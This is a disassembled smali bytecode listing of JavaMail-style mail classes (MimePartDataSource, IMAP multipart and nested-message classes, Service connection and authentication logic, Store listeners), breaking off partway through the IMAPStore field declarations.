00000042 iget-object v0, p0, MimePartDataSource->part:MimePart
00000046 instance-of v0, v0, MimeMessage
0000004A if-eqz v0, :60
:4E
0000004E iget-object v0, p0, MimePartDataSource->part:MimePart
00000052 check-cast v0, MimeMessage
00000056 invoke-virtual MimeMessage->getContentStream()InputStream, v0
0000005C move-result-object v0
0000005E goto :1C
:60
00000060 new-instance v0, MessagingException
00000064 const-string v1, "Unknown part"
00000068 invoke-direct MessagingException-><init>(String)V, v0, v1
0000006E throw v0
:70
00000070 move-exception v0
00000072 new-instance v1, IOException
00000076 invoke-virtual MessagingException->getMessage()String, v0
0000007C move-result-object v0
0000007E invoke-direct IOException-><init>(String)V, v1, v0
00000084 throw v1
.catch MessagingException {:0 .. :70} :70
.end method
.method public declared-synchronized getMessageContext()MessageContext
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, MimePartDataSource->context:MessageContext
00000006 if-nez v0, :1C
:A
0000000A new-instance v0, MessageContext
0000000E iget-object v1, p0, MimePartDataSource->part:MimePart
00000012 invoke-direct MessageContext-><init>(Part)V, v0, v1
00000018 iput-object v0, p0, MimePartDataSource->context:MessageContext
:1C
0000001C iget-object v0, p0, MimePartDataSource->context:MessageContext
:20
00000020 monitor-exit p0
00000022 return-object v0
:24
00000024 move-exception v0
00000026 monitor-exit p0
00000028 throw v0
.catchall {:2 .. :20} :24
.end method
.method public getName()String
.registers 2
00000000 iget-object v0, p0, MimePartDataSource->part:MimePart
00000004 instance-of v0, v0, MimeBodyPart
00000008 if-eqz v0, :20
:C
0000000C iget-object v0, p0, MimePartDataSource->part:MimePart
00000010 check-cast v0, MimeBodyPart
00000014 invoke-virtual MimeBodyPart->getFileName()String, v0
:1A
0000001A move-result-object v0
:1C
0000001C return-object v0
:1E
0000001E move-exception v0
:20
00000020 const-string v0, ""
00000024 goto :1C
.catch MessagingException {:0 .. :1A} :1E
.end method
.method public getOutputStream()OutputStream
.registers 2
00000000 new-instance v0, UnknownServiceException
00000004 invoke-direct UnknownServiceException-><init>()V, v0
0000000A throw v0
.end method
#--------------------------------------------------------------------------------
.class public abstract interface MultipartDataSource
.super Object
.source ""
.implements DataSource
.method public abstract getBodyPart(I)BodyPart
.end method
.method public abstract getCount()I
.end method
#--------------------------------------------------------------------------------
.class public IMAPMultipartDataSource
.super MimePartDataSource
.source ""
.implements MultipartDataSource
.field private parts:Vector
.method protected constructor <init>(MimePart, [BODYSTRUCTURE, String, IMAPMessage)V
.registers 11
00000000 invoke-direct MimePartDataSource-><init>(MimePart)V, p0, p1
00000006 new-instance v0, Vector
0000000A array-length v1, p2
0000000C invoke-direct Vector-><init>(I)V, v0, v1
00000012 iput-object v0, p0, IMAPMultipartDataSource->parts:Vector
00000016 const/4 v0, 0x0
:18
00000018 array-length v1, p2
0000001A if-lt v0, v1, :20
:1E
0000001E return-void
:20
00000020 iget-object v2, p0, IMAPMultipartDataSource->parts:Vector
00000024 new-instance v3, IMAPBodyPart
00000028 aget-object v4, p2, v0
0000002C if-nez p3, :4E
:30
00000030 add-int/lit8 v1, v0, 0x1
00000034 invoke-static Integer->toString(I)String, v1
0000003A move-result-object v1
:3C
0000003C invoke-direct IMAPBodyPart-><init>(BODYSTRUCTURE, String, IMAPMessage)V, v3, v4, v1, p4
00000042 invoke-virtual Vector->addElement(Object)V, v2, v3
00000048 add-int/lit8 v0, v0, 0x1
0000004C goto :18
:4E
0000004E new-instance v1, StringBuilder
00000052 invoke-static String->valueOf(Object)String, p3
00000058 move-result-object v5
0000005A invoke-direct StringBuilder-><init>(String)V, v1, v5
00000060 const-string v5, "."
00000064 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v5
0000006A move-result-object v1
0000006C add-int/lit8 v5, v0, 0x1
00000070 invoke-static Integer->toString(I)String, v5
00000076 move-result-object v5
00000078 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v5
0000007E move-result-object v1
00000080 invoke-virtual StringBuilder->toString()String, v1
00000086 move-result-object v1
00000088 goto :3C
.end method
.method public getBodyPart(I)BodyPart
.registers 3
00000000 iget-object v0, p0, IMAPMultipartDataSource->parts:Vector
00000004 invoke-virtual Vector->elementAt(I)Object, v0, p1
0000000A move-result-object v0
0000000C check-cast v0, BodyPart
00000010 return-object v0
.end method
.method public getCount()I
.registers 2
00000000 iget-object v0, p0, IMAPMultipartDataSource->parts:Vector
00000004 invoke-virtual Vector->size()I, v0
0000000A move-result v0
0000000C return v0
.end method
#--------------------------------------------------------------------------------
.class public IMAPNestedMessage
.super IMAPMessage
.source ""
.field private msg:IMAPMessage
.method constructor <init>(IMAPMessage, BODYSTRUCTURE, ENVELOPE, String)V
.registers 6
00000000 invoke-virtual IMAPMessage->_getSession()Session, p1
00000006 move-result-object v0
00000008 invoke-direct IMAPMessage-><init>(Session)V, p0, v0
0000000E iput-object p1, p0, IMAPNestedMessage->msg:IMAPMessage
00000012 iput-object p2, p0, IMAPNestedMessage->bs:BODYSTRUCTURE
00000016 iput-object p3, p0, IMAPNestedMessage->envelope:ENVELOPE
0000001A iput-object p4, p0, IMAPNestedMessage->sectionId:String
0000001E return-void
.end method
.method protected checkExpunged()V
.registers 2
00000000 iget-object v0, p0, IMAPNestedMessage->msg:IMAPMessage
00000004 invoke-virtual IMAPMessage->checkExpunged()V, v0
0000000A return-void
.end method
.method protected getFetchBlockSize()I
.registers 2
00000000 iget-object v0, p0, IMAPNestedMessage->msg:IMAPMessage
00000004 invoke-virtual IMAPMessage->getFetchBlockSize()I, v0
0000000A move-result v0
0000000C return v0
.end method
.method protected getMessageCacheLock()Object
.registers 2
00000000 iget-object v0, p0, IMAPNestedMessage->msg:IMAPMessage
00000004 invoke-virtual IMAPMessage->getMessageCacheLock()Object, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
.method protected getProtocol()IMAPProtocol
.registers 2
00000000 iget-object v0, p0, IMAPNestedMessage->msg:IMAPMessage
00000004 invoke-virtual IMAPMessage->getProtocol()IMAPProtocol, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
.method protected getSequenceNumber()I
.registers 2
00000000 iget-object v0, p0, IMAPNestedMessage->msg:IMAPMessage
00000004 invoke-virtual IMAPMessage->getSequenceNumber()I, v0
0000000A move-result v0
0000000C return v0
.end method
.method public getSize()I
.registers 2
00000000 iget-object v0, p0, IMAPNestedMessage->bs:BODYSTRUCTURE
00000004 iget v0, v0, BODYSTRUCTURE->size:I
00000008 return v0
.end method
.method public isExpunged()Z
.registers 2
00000000 iget-object v0, p0, IMAPNestedMessage->msg:IMAPMessage
00000004 invoke-virtual IMAPMessage->isExpunged()Z, v0
0000000A move-result v0
0000000C return v0
.end method
.method protected isREV1()Z
.registers 2
00000000 iget-object v0, p0, IMAPNestedMessage->msg:IMAPMessage
00000004 invoke-virtual IMAPMessage->isREV1()Z, v0
0000000A move-result v0
0000000C return v0
.end method
.method public declared-synchronized setFlags(Flags, Z)V
.registers 5
00000000 monitor-enter p0
:2
00000002 new-instance v0, MethodNotSupportedException
00000006 const-string v1, "Cannot set flags on this nested message"
0000000A invoke-direct MethodNotSupportedException-><init>(String)V, v0, v1
00000010 throw v0
:12
00000012 move-exception v0
00000014 monitor-exit p0
00000016 throw v0
.catchall {:2 .. :12} :12
.end method
#--------------------------------------------------------------------------------
.class public abstract Service
.super Object
.source ""
.field private connected:Z
.field private connectionListeners:Vector
.field protected debug:Z
.field private q:EventQueue
.field private qLock:Object
.field protected session:Session
.field protected url:URLName
.method protected constructor <init>(Session, URLName)V
.registers 5
00000000 const/4 v1, 0x0
00000002 const/4 v0, 0x0
00000004 invoke-direct Object-><init>()V, p0
0000000A iput-object v1, p0, Service->url:URLName
0000000E iput-boolean v0, p0, Service->debug:Z
00000012 iput-boolean v0, p0, Service->connected:Z
00000016 iput-object v1, p0, Service->connectionListeners:Vector
0000001A new-instance v0, Object
0000001E invoke-direct Object-><init>()V, v0
00000024 iput-object v0, p0, Service->qLock:Object
00000028 iput-object p1, p0, Service->session:Session
0000002C iput-object p2, p0, Service->url:URLName
00000030 invoke-virtual Session->getDebug()Z, p1
00000036 move-result v0
00000038 iput-boolean v0, p0, Service->debug:Z
0000003C return-void
.end method
.method private terminateQueue()V
.registers 5
00000000 iget-object v1, p0, Service->qLock:Object
00000004 monitor-enter v1
:6
00000006 iget-object v0, p0, Service->q:EventQueue
0000000A if-eqz v0, :3A
:E
0000000E new-instance v0, Vector
00000012 invoke-direct Vector-><init>()V, v0
00000018 const/4 v2, 0x1
0000001A invoke-virtual Vector->setSize(I)V, v0, v2
00000020 iget-object v2, p0, Service->q:EventQueue
00000024 new-instance v3, Service$TerminatorEvent
00000028 invoke-direct Service$TerminatorEvent-><init>()V, v3
0000002E invoke-virtual EventQueue->enqueue(MailEvent, Vector)V, v2, v3, v0
00000034 const/4 v0, 0x0
00000036 iput-object v0, p0, Service->q:EventQueue
:3A
0000003A monitor-exit v1
0000003C return-void
:3E
0000003E move-exception v0
00000040 monitor-exit v1
:42
00000042 throw v0
.catchall {:6 .. :42} :3E
.end method
.method public declared-synchronized addConnectionListener(ConnectionListener)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Service->connectionListeners:Vector
00000006 if-nez v0, :18
:A
0000000A new-instance v0, Vector
0000000E invoke-direct Vector-><init>()V, v0
00000014 iput-object v0, p0, Service->connectionListeners:Vector
:18
00000018 iget-object v0, p0, Service->connectionListeners:Vector
0000001C invoke-virtual Vector->addElement(Object)V, v0, p1
:22
00000022 monitor-exit p0
00000024 return-void
:26
00000026 move-exception v0
00000028 monitor-exit p0
0000002A throw v0
.catchall {:2 .. :22} :26
.end method
.method public declared-synchronized close()V
.registers 2
00000000 monitor-enter p0
00000002 const/4 v0, 0x0
:4
00000004 invoke-virtual Service->setConnected(Z)V, p0, v0
0000000A const/4 v0, 0x3
0000000C invoke-virtual Service->notifyConnectionListeners(I)V, p0, v0
:12
00000012 monitor-exit p0
00000014 return-void
:16
00000016 move-exception v0
00000018 monitor-exit p0
0000001A throw v0
.catchall {:4 .. :12} :16
.end method
.method public connect()V
.registers 2
00000000 const/4 v0, 0x0
00000002 invoke-virtual Service->connect(String, String, String)V, p0, v0, v0, v0
00000008 return-void
.end method
.method public declared-synchronized connect(String, I, String, String)V
.registers 20
00000000 monitor-enter p0
:2
00000002 invoke-virtual Service->isConnected()Z, p0
00000008 move-result v1
0000000A if-eqz v1, :24
:E
0000000E new-instance v1, IllegalStateException
00000012 const-string v2, "already connected"
00000016 invoke-direct IllegalStateException-><init>(String)V, v1, v2
0000001C throw v1
:1E
0000001E move-exception v1
00000020 monitor-exit p0
00000022 throw v1
:24
00000024 const/4 v13, 0x0
00000026 const/4 v8, 0x0
00000028 const/4 v2, 0x0
0000002A const/4 v5, 0x0
:2C
0000002C iget-object v1, p0, Service->url:URLName
00000030 if-eqz v1, :2F6
:34
00000034 iget-object v1, p0, Service->url:URLName
00000038 invoke-virtual URLName->getProtocol()String, v1
0000003E move-result-object v2
00000040 if-nez p1, :2EE
:44
00000044 iget-object v1, p0, Service->url:URLName
00000048 invoke-virtual URLName->getHost()String, v1
0000004E move-result-object v3
:50
00000050 const/4 v1, 0xFFFFFFFFFFFFFFFF
00000052 move/from16 v0, p2
00000056 if-ne v0, v1, :2E6
:5A
0000005A iget-object v1, p0, Service->url:URLName
0000005E invoke-virtual URLName->getPort()I, v1
00000064 move-result v4
:66
00000066 if-nez p3, :1EA
:6A
0000006A iget-object v1, p0, Service->url:URLName
0000006E invoke-virtual URLName->getUsername()String, v1
00000074 move-result-object p3
00000076 if-nez p4, :2DA
:7A
0000007A iget-object v1, p0, Service->url:URLName
0000007E invoke-virtual URLName->getPassword()String, v1
00000084 move-result-object p4
00000086 move-object/from16 v9, p4
0000008A move-object/from16 v6, p3
:8E
0000008E iget-object v1, p0, Service->url:URLName
00000092 invoke-virtual URLName->getFile()String, v1
00000098 move-result-object v5
:9A
0000009A if-eqz v2, :112
:9E
0000009E if-nez v3, :D8
:A2
000000A2 iget-object v1, p0, Service->session:Session
000000A6 new-instance v3, StringBuilder
000000AA const-string v7, "mail."
000000AE invoke-direct StringBuilder-><init>(String)V, v3, v7
000000B4 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v2
000000BA move-result-object v3
000000BC const-string v7, ".host"
000000C0 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v7
000000C6 move-result-object v3
000000C8 invoke-virtual StringBuilder->toString()String, v3
000000CE move-result-object v3
000000D0 invoke-virtual Session->getProperty(String)String, v1, v3
000000D6 move-result-object v3
:D8
000000D8 if-nez v6, :112
:DC
000000DC iget-object v1, p0, Service->session:Session
000000E0 new-instance v6, StringBuilder
000000E4 const-string v7, "mail."
000000E8 invoke-direct StringBuilder-><init>(String)V, v6, v7
000000EE invoke-virtual StringBuilder->append(String)StringBuilder, v6, v2
000000F4 move-result-object v6
000000F6 const-string v7, ".user"
000000FA invoke-virtual StringBuilder->append(String)StringBuilder, v6, v7
00000100 move-result-object v6
00000102 invoke-virtual StringBuilder->toString()String, v6
00000108 move-result-object v6
0000010A invoke-virtual Session->getProperty(String)String, v1, v6
00000110 move-result-object v6
:112
00000112 if-nez v3, :126
:116
00000116 iget-object v1, p0, Service->session:Session
0000011A const-string v3, "mail.host"
0000011E invoke-virtual Session->getProperty(String)String, v1, v3
00000124 move-result-object v3
:126
00000126 if-nez v6, :13A
:12A
0000012A iget-object v1, p0, Service->session:Session
0000012E const-string v6, "mail.user"
00000132 invoke-virtual Session->getProperty(String)String, v1, v6
:138
00000138 move-result-object v6
:13A
0000013A if-nez v6, :14A
:13E
0000013E const-string v1, "user.name"
00000142 invoke-static System->getProperty(String)String, v1
:148
00000148 move-result-object v6
:14A
0000014A if-nez v9, :2D0
:14E
0000014E iget-object v1, p0, Service->url:URLName
00000152 if-eqz v1, :2D0
:156
00000156 new-instance v1, URLName
0000015A const/4 v7, 0x0
0000015C invoke-direct/range URLName-><init>(String, String, I, String, String, String)V, v1 .. v7
00000162 invoke-virtual Service->setURLName(URLName)V, p0, v1
00000168 iget-object v1, p0, Service->session:Session
0000016C invoke-virtual Service->getURLName()URLName, p0
00000172 move-result-object v7
00000174 invoke-virtual Session->getPasswordAuthentication(URLName)PasswordAuthentication, v1, v7
0000017A move-result-object v1
0000017C if-eqz v1, :262
:180
00000180 if-nez v6, :240
:184
00000184 invoke-virtual PasswordAuthentication->getUserName()String, v1
0000018A move-result-object v6
0000018C invoke-virtual PasswordAuthentication->getPassword()String, v1
:192
00000192 move-result-object v1
00000194 move v12, v8
00000196 move-object v11, v6
:198
00000198 const/4 v6, 0x0
:19A
0000019A invoke-virtual Service->protocolConnect(String, I, String, String)Z, p0, v3, v4, v11, v1
:1A0
000001A0 move-result v13
000001A2 move-object v14, v6
:1A4
000001A4 if-nez v13, :2C8
:1A8
000001A8 invoke-static InetAddress->getByName(String)InetAddress, v3
:1AE
000001AE move-result-object v7
:1B0
000001B0 iget-object v6, p0, Service->session:Session
000001B4 const/4 v10, 0x0
000001B6 move v8, v4
000001B8 move-object v9, v2
000001BA invoke-virtual/range Session->requestPasswordAuthentication(InetAddress, I, String, String, String)PasswordAuthentication, v6 .. v11
000001C0 move-result-object v6
000001C2 if-eqz v6, :2C8
:1C6
000001C6 invoke-virtual PasswordAuthentication->getUserName()String, v6
000001CC move-result-object v11
000001CE invoke-virtual PasswordAuthentication->getPassword()String, v6
000001D4 move-result-object v7
000001D6 invoke-virtual Service->protocolConnect(String, I, String, String)Z, p0, v3, v4, v11, v7
000001DC move-result v1
000001DE move-object v6, v11
:1E0
000001E0 if-nez v1, :284
:1E4
000001E4 if-eqz v14, :278
:1E8
000001E8 throw v14
:1EA
000001EA if-nez p4, :2DA
:1EE
000001EE iget-object v1, p0, Service->url:URLName
000001F2 invoke-virtual URLName->getUsername()String, v1
000001F8 move-result-object v1
000001FA move-object/from16 v0, p3
000001FE invoke-virtual String->equals(Object)Z, v0, v1
00000204 move-result v1
00000206 if-eqz v1, :2DA
:20A
0000020A iget-object v1, p0, Service->url:URLName
0000020E invoke-virtual URLName->getPassword()String, v1
00000214 move-result-object p4
00000216 move-object/from16 v9, p4
0000021A move-object/from16 v6, p3
0000021E goto/16 :8E
:222
00000222 move-exception v1
00000224 iget-boolean v7, p0, Service->debug:Z
00000228 if-eqz v7, :14A
:22C
0000022C iget-object v7, p0, Service->session:Session
00000230 invoke-virtual Session->getDebugOut()PrintStream, v7
00000236 move-result-object v7
00000238 invoke-virtual SecurityException->printStackTrace(PrintStream)V, v1, v7
0000023E goto :14A
:240
00000240 invoke-virtual PasswordAuthentication->getUserName()String, v1
00000246 move-result-object v7
00000248 invoke-virtual String->equals(Object)Z, v6, v7
0000024E move-result v7
00000250 if-eqz v7, :2D0
:254
00000254 invoke-virtual PasswordAuthentication->getPassword()String, v1
0000025A move-result-object v1
0000025C move v12, v8
0000025E move-object v11, v6
00000260 goto :198
:262
00000262 const/4 v1, 0x1
00000264 move v12, v1
00000266 move-object v11, v6
00000268 move-object v1, v9
0000026A goto :198
:26C
0000026C move-exception v6
0000026E move-object v14, v6
00000270 goto :1A4
:272
00000272 move-exception v6
00000274 const/4 v7, 0x0
00000276 goto :1B0
:278
00000278 new-instance v1, AuthenticationFailedException
0000027C invoke-direct AuthenticationFailedException-><init>()V, v1
00000282 throw v1
:284
00000284 new-instance v1, URLName
00000288 invoke-direct/range URLName-><init>(String, String, I, String, String, String)V, v1 .. v7
0000028E invoke-virtual Service->setURLName(URLName)V, p0, v1
00000294 if-eqz v12, :2B4
:298
00000298 iget-object v1, p0, Service->session:Session
0000029C invoke-virtual Service->getURLName()URLName, p0
000002A2 move-result-object v2
000002A4 new-instance v3, PasswordAuthentication
000002A8 invoke-direct PasswordAuthentication-><init>(String, String)V, v3, v6, v7
000002AE invoke-virtual Session->setPasswordAuthentication(URLName, PasswordAuthentication)V, v1, v2, v3
:2B4
000002B4 const/4 v1, 0x1
000002B6 invoke-virtual Service->setConnected(Z)V, p0, v1
000002BC const/4 v1, 0x1
000002BE invoke-virtual Service->notifyConnectionListeners(I)V, p0, v1
:2C4
000002C4 monitor-exit p0
000002C6 return-void
:2C8
000002C8 move-object v7, v1
000002CA move-object v6, v11
000002CC move v1, v13
000002CE goto :1E0
:2D0
000002D0 move v12, v8
000002D2 move-object v1, v9
000002D4 move-object v11, v6
000002D6 goto/16 :198
:2DA
000002DA move-object/from16 v9, p4
000002DE move-object/from16 v6, p3
000002E2 goto/16 :8E
:2E6
000002E6 move/from16 v4, p2
000002EA goto/16 :66
:2EE
000002EE move-object/from16 v3, p1
000002F2 goto/16 :50
:2F6
000002F6 move-object/from16 v9, p4
000002FA move-object/from16 v6, p3
000002FE move/from16 v4, p2
00000302 move-object/from16 v3, p1
00000306 goto/16 :9A
.catchall {:2 .. :1E} :1E
.catchall {:2C .. :138} :1E
.catch SecurityException {:13E .. :148} :222
.catchall {:13E .. :148} :1E
.catchall {:14E .. :192} :1E
.catch AuthenticationFailedException {:19A .. :1A0} :26C
.catchall {:19A .. :1A0} :1E
.catch UnknownHostException {:1A8 .. :1AE} :272
.catchall {:1A8 .. :1AE} :1E
.catchall {:1B0 .. :2C4} :1E
.end method
.method public connect(String, String)V
.registers 4
00000000 const/4 v0, 0x0
00000002 invoke-virtual Service->connect(String, String, String)V, p0, v0, p1, p2
00000008 return-void
.end method
.method public connect(String, String, String)V
.registers 5
00000000 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000002 invoke-virtual Service->connect(String, I, String, String)V, p0, p1, v0, p2, p3
00000008 return-void
.end method
.method protected finalize()V
.registers 1
00000000 invoke-super Object->finalize()V, p0
00000006 invoke-direct Service->terminateQueue()V, p0
0000000C return-void
.end method
.method public declared-synchronized getURLName()URLName
.registers 8
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Service->url:URLName
00000006 if-eqz v0, :6C
:A
0000000A iget-object v0, p0, Service->url:URLName
0000000E invoke-virtual URLName->getPassword()String, v0
00000014 move-result-object v0
00000016 if-nez v0, :2A
:1A
0000001A iget-object v0, p0, Service->url:URLName
0000001E invoke-virtual URLName->getFile()String, v0
00000024 move-result-object v0
00000026 if-eqz v0, :6C
:2A
0000002A new-instance v0, URLName
0000002E iget-object v1, p0, Service->url:URLName
00000032 invoke-virtual URLName->getProtocol()String, v1
00000038 move-result-object v1
0000003A iget-object v2, p0, Service->url:URLName
0000003E invoke-virtual URLName->getHost()String, v2
00000044 move-result-object v2
00000046 iget-object v3, p0, Service->url:URLName
0000004A invoke-virtual URLName->getPort()I, v3
00000050 move-result v3
00000052 const/4 v4, 0x0
00000054 iget-object v5, p0, Service->url:URLName
00000058 invoke-virtual URLName->getUsername()String, v5
0000005E move-result-object v5
00000060 const/4 v6, 0x0
00000062 invoke-direct/range URLName-><init>(String, String, I, String, String, String)V, v0 .. v6
:68
00000068 monitor-exit p0
0000006A return-object v0
:6C
0000006C iget-object v0, p0, Service->url:URLName
:70
00000070 goto :68
:72
00000072 move-exception v0
00000074 monitor-exit p0
00000076 throw v0
.catchall {:2 .. :68} :72
.catchall {:6C .. :70} :72
.end method
.method public declared-synchronized isConnected()Z
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-boolean v0, p0, Service->connected:Z
:6
00000006 monitor-exit p0
00000008 return v0
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method protected declared-synchronized notifyConnectionListeners(I)V
.registers 4
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Service->connectionListeners:Vector
00000006 if-eqz v0, :1E
:A
0000000A new-instance v0, ConnectionEvent
0000000E invoke-direct ConnectionEvent-><init>(Object, I)V, v0, p0, p1
00000014 iget-object v1, p0, Service->connectionListeners:Vector
00000018 invoke-virtual Service->queueEvent(MailEvent, Vector)V, p0, v0, v1
:1E
0000001E const/4 v0, 0x3
00000020 if-ne p1, v0, :2A
:24
00000024 invoke-direct Service->terminateQueue()V, p0
:2A
0000002A monitor-exit p0
0000002C return-void
:2E
0000002E move-exception v0
00000030 monitor-exit p0
00000032 throw v0
.catchall {:2 .. :2A} :2E
.end method
.method protected protocolConnect(String, I, String, String)Z
.registers 6
00000000 const/4 v0, 0x0
00000002 return v0
.end method
.method protected queueEvent(MailEvent, Vector)V
.registers 5
00000000 iget-object v1, p0, Service->qLock:Object
00000004 monitor-enter v1
:6
00000006 iget-object v0, p0, Service->q:EventQueue
0000000A if-nez v0, :1C
:E
0000000E new-instance v0, EventQueue
00000012 invoke-direct EventQueue-><init>()V, v0
00000018 iput-object v0, p0, Service->q:EventQueue
:1C
0000001C monitor-exit v1
:1E
0000001E invoke-virtual Vector->clone()Object, p2
00000024 move-result-object v0
00000026 check-cast v0, Vector
0000002A iget-object v1, p0, Service->q:EventQueue
0000002E invoke-virtual EventQueue->enqueue(MailEvent, Vector)V, v1, p1, v0
00000034 return-void
:36
00000036 move-exception v0
:38
00000038 monitor-exit v1
:3A
0000003A throw v0
.catchall {:6 .. :1E} :36
.catchall {:38 .. :3A} :36
.end method
.method public declared-synchronized removeConnectionListener(ConnectionListener)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Service->connectionListeners:Vector
00000006 if-eqz v0, :14
:A
0000000A iget-object v0, p0, Service->connectionListeners:Vector
0000000E invoke-virtual Vector->removeElement(Object)Z, v0, p1
:14
00000014 monitor-exit p0
00000016 return-void
:18
00000018 move-exception v0
0000001A monitor-exit p0
0000001C throw v0
.catchall {:2 .. :14} :18
.end method
.method protected declared-synchronized setConnected(Z)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iput-boolean p1, p0, Service->connected:Z
:6
00000006 monitor-exit p0
00000008 return-void
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method protected declared-synchronized setURLName(URLName)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iput-object p1, p0, Service->url:URLName
:6
00000006 monitor-exit p0
00000008 return-void
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public toString()String
.registers 2
00000000 invoke-virtual Service->getURLName()URLName, p0
00000006 move-result-object v0
00000008 if-eqz v0, :16
:C
0000000C invoke-virtual URLName->toString()String, v0
00000012 move-result-object v0
:14
00000014 return-object v0
:16
00000016 invoke-super Object->toString()String, p0
0000001C move-result-object v0
0000001E goto :14
.end method
#--------------------------------------------------------------------------------
.class public abstract Store
.super Service
.source ""
.field private volatile bridge folderListeners:Vector
.field private volatile bridge storeListeners:Vector
.method protected constructor <init>(Session, URLName)V
.registers 4
00000000 const/4 v0, 0x0
00000002 invoke-direct Service-><init>(Session, URLName)V, p0, p1, p2
00000008 iput-object v0, p0, Store->storeListeners:Vector
0000000C iput-object v0, p0, Store->folderListeners:Vector
00000010 return-void
.end method
.method public declared-synchronized addFolderListener(FolderListener)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Store->folderListeners:Vector
00000006 if-nez v0, :18
:A
0000000A new-instance v0, Vector
0000000E invoke-direct Vector-><init>()V, v0
00000014 iput-object v0, p0, Store->folderListeners:Vector
:18
00000018 iget-object v0, p0, Store->folderListeners:Vector
0000001C invoke-virtual Vector->addElement(Object)V, v0, p1
:22
00000022 monitor-exit p0
00000024 return-void
:26
00000026 move-exception v0
00000028 monitor-exit p0
0000002A throw v0
.catchall {:2 .. :22} :26
.end method
.method public declared-synchronized addStoreListener(StoreListener)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Store->storeListeners:Vector
00000006 if-nez v0, :18
:A
0000000A new-instance v0, Vector
0000000E invoke-direct Vector-><init>()V, v0
00000014 iput-object v0, p0, Store->storeListeners:Vector
:18
00000018 iget-object v0, p0, Store->storeListeners:Vector
0000001C invoke-virtual Vector->addElement(Object)V, v0, p1
:22
00000022 monitor-exit p0
00000024 return-void
:26
00000026 move-exception v0
00000028 monitor-exit p0
0000002A throw v0
.catchall {:2 .. :22} :26
.end method
.method public abstract getDefaultFolder()Folder
.end method
.method public abstract getFolder(String)Folder
.end method
.method public abstract getFolder(URLName)Folder
.end method
.method public getPersonalNamespaces()[Folder
.registers 4
00000000 const/4 v0, 0x1
00000002 new-array v0, v0, [Folder
00000006 const/4 v1, 0x0
00000008 invoke-virtual Store->getDefaultFolder()Folder, p0
0000000E move-result-object v2
00000010 aput-object v2, v0, v1
00000014 return-object v0
.end method
.method public getSharedNamespaces()[Folder
.registers 2
00000000 const/4 v0, 0x0
00000002 new-array v0, v0, [Folder
00000006 return-object v0
.end method
.method public getUserNamespaces(String)[Folder
.registers 3
00000000 const/4 v0, 0x0
00000002 new-array v0, v0, [Folder
00000006 return-object v0
.end method
.method protected notifyFolderListeners(I, Folder)V
.registers 5
00000000 iget-object v0, p0, Store->folderListeners:Vector
00000004 if-nez v0, :A
:8
00000008 return-void
:A
0000000A new-instance v0, FolderEvent
0000000E invoke-direct FolderEvent-><init>(Object, Folder, I)V, v0, p0, p2, p1
00000014 iget-object v1, p0, Store->folderListeners:Vector
00000018 invoke-virtual Store->queueEvent(MailEvent, Vector)V, p0, v0, v1
0000001E goto :8
.end method
.method protected notifyFolderRenamedListeners(Folder, Folder)V
.registers 5
00000000 iget-object v0, p0, Store->folderListeners:Vector
00000004 if-nez v0, :A
:8
00000008 return-void
:A
0000000A new-instance v0, FolderEvent
0000000E const/4 v1, 0x3
00000010 invoke-direct FolderEvent-><init>(Object, Folder, Folder, I)V, v0, p0, p1, p2, v1
00000016 iget-object v1, p0, Store->folderListeners:Vector
0000001A invoke-virtual Store->queueEvent(MailEvent, Vector)V, p0, v0, v1
00000020 goto :8
.end method
.method protected notifyStoreListeners(I, String)V
.registers 5
00000000 iget-object v0, p0, Store->storeListeners:Vector
00000004 if-nez v0, :A
:8
00000008 return-void
:A
0000000A new-instance v0, StoreEvent
0000000E invoke-direct StoreEvent-><init>(Store, I, String)V, v0, p0, p1, p2
00000014 iget-object v1, p0, Store->storeListeners:Vector
00000018 invoke-virtual Store->queueEvent(MailEvent, Vector)V, p0, v0, v1
0000001E goto :8
.end method
.method public declared-synchronized removeFolderListener(FolderListener)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Store->folderListeners:Vector
00000006 if-eqz v0, :14
:A
0000000A iget-object v0, p0, Store->folderListeners:Vector
0000000E invoke-virtual Vector->removeElement(Object)Z, v0, p1
:14
00000014 monitor-exit p0
00000016 return-void
:18
00000018 move-exception v0
0000001A monitor-exit p0
0000001C throw v0
.catchall {:2 .. :14} :18
.end method
.method public declared-synchronized removeStoreListener(StoreListener)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Store->storeListeners:Vector
00000006 if-eqz v0, :14
:A
0000000A iget-object v0, p0, Store->storeListeners:Vector
0000000E invoke-virtual Vector->removeElement(Object)Z, v0, p1
:14
00000014 monitor-exit p0
00000016 return-void
:18
00000018 move-exception v0
0000001A monitor-exit p0
0000001C throw v0
.catchall {:2 .. :14} :18
.end method
#--------------------------------------------------------------------------------
.class public abstract interface QuotaAwareStore
.super Object
.source ""
.method public abstract getQuota(String)[Quota
.end method
.method public abstract setQuota(Quota)V
.end method
#--------------------------------------------------------------------------------
.class public IMAPStore
.super Store
.source ""
.implements ResponseHandler
.implements QuotaAwareStore
.field static final synthetic $assertionsDisabled:Z = false
.field public static final RESPONSE:I = 0x3E8
.field private appendBufferSize:I
.field private authorizationID:String
.field private blksize:I
.field private volatile bridge connected:Z
.field private defaultPort:I
.field private disableAuthLogin:Z
.field private disableAuthPlain:Z
.field private enableImapEvents:Z
.field private enableSASL:Z
.field private enableStartTLS:Z
.field private forcePasswordRefresh:Z
.field private host:String
